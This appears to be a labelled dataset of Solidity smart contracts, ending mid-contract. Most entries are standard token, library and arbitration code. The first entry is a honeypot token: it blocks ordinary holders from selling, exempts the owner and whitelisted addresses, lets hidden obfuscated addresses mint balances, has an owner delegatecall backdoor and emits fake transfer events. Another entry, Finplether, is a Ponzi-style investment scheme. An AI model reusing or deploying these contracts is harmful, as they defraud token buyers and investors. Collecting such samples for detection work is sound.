function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 404 |
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.6.12;
contract BigBag {
using SafeERC20 for IERC20;
address payable dao = 0x28A3D3467A3198D1bb5311836036D53c3C64b999;
address public dao_agent = 0x8c3ad3580A8635e236ccE26D2851AAf10401E262;
IERC20 public xrt = IERC20(0x7dE91B204C1C737bcEe6F000AAA6569Cf7061cb7);
uint256 public amount_wei = 107760000000000000000;
uint256 public amount_wn = 6000000000000;
function buy() payable external {
require(msg.value == amount_wei, "transaction value does not match");
xrt.safeTransferFrom(dao_agent, msg.sender, amount_wn);
dao.call{gas: 50000, value: msg.value}("");
require(address(this).balance == 0, "transfer is not complete");
}
} | 0 | 384 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract LogiETHToken {
string public name;
string public symbol;
uint8 public decimals = 10;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function LogiETHToken(
) public {
totalSupply = 100000 * 10 ** 10;
balanceOf[msg.sender] = 100000 * 10 ** 10;
name = "LogiETH";
symbol = "LETH";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,000 |
pragma solidity 0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
for (uint8 i = 1; i <= rgp.activityDays; i++) {
if (rgp.dailyTotalInvestment[i] != 0) {
delete rgp.dailyTotalInvestment[i];
}
}
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract Finplether is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_5_percent = Percent.percent(525,10000);
Percent.percent private m_6_percent = Percent.percent(9,100);
Percent.percent private m_7_percent = Percent.percent(10,100);
Percent.percent private m_8_percent = Percent.percent(8,100);
Percent.percent private m_9_percent = Percent.percent(9,100);
Percent.percent private m_10_percent = Percent.percent(10,100);
Percent.percent private m_11_percent = Percent.percent(11,100);
Percent.percent private m_12_percent = Percent.percent(12,100);
Percent.percent private m_referal_percent = Percent.percent(10,100);
Percent.percent private m_referrer_percent = Percent.percent(10,100);
Percent.percent private m_referrer_percentMax = Percent.percent(15,100);
Percent.percent private m_adminsPercent = Percent.percent(5, 100);
Percent.percent private m_advertisingPercent = Percent.percent(5, 100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 500 ether) {
p = m_5_percent.toMemory();
} else if ( 500 ether <= balance && balance <= 1500 ether) {
p = m_6_percent.toMemory();
} else if ( 1500 ether <= balance && balance <= 5000 ether) {
p = m_7_percent.toMemory();
} else if ( 5000 ether <= balance && balance <= 10000 ether) {
p = m_8_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 20000 ether) {
p = m_9_percent.toMemory();
} else if ( 20000 ether <= balance && balance <= 30000 ether) {
p = m_10_percent.toMemory();
} else if ( 30000 ether <= balance && balance <= 50000 ether) {
p = m_11_percent.toMemory();
} else {
p = m_12_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | 0 | 2,152 |
pragma solidity 0.7.4;
interface IArbitrable {
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
interface IArbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID);
function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost);
function appeal(uint256 _disputeID, bytes calldata _extraData) external payable;
function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost);
function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end);
function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) external view returns (uint256 ruling);
}
interface IEvidence {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Evidence(
IArbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence
);
event Dispute(
IArbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID
);
}
library CappedMath {
uint constant private UINT_MAX = 2**256 - 1;
function addCap(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
return c >= _a ? c : UINT_MAX;
}
function subCap(uint _a, uint _b) internal pure returns (uint) {
if (_b > _a)
return 0;
else
return _a - _b;
}
function mulCap(uint _a, uint _b) internal pure returns (uint) {
if (_a == 0)
return 0;
uint c = _a * _b;
return c / _a == _b ? c : UINT_MAX;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Linguo is IArbitrable, IEvidence {
using CappedMath for uint256;
uint8 public constant VERSION_ID = 0;
uint256 public constant MULTIPLIER_DIVISOR = 10000;
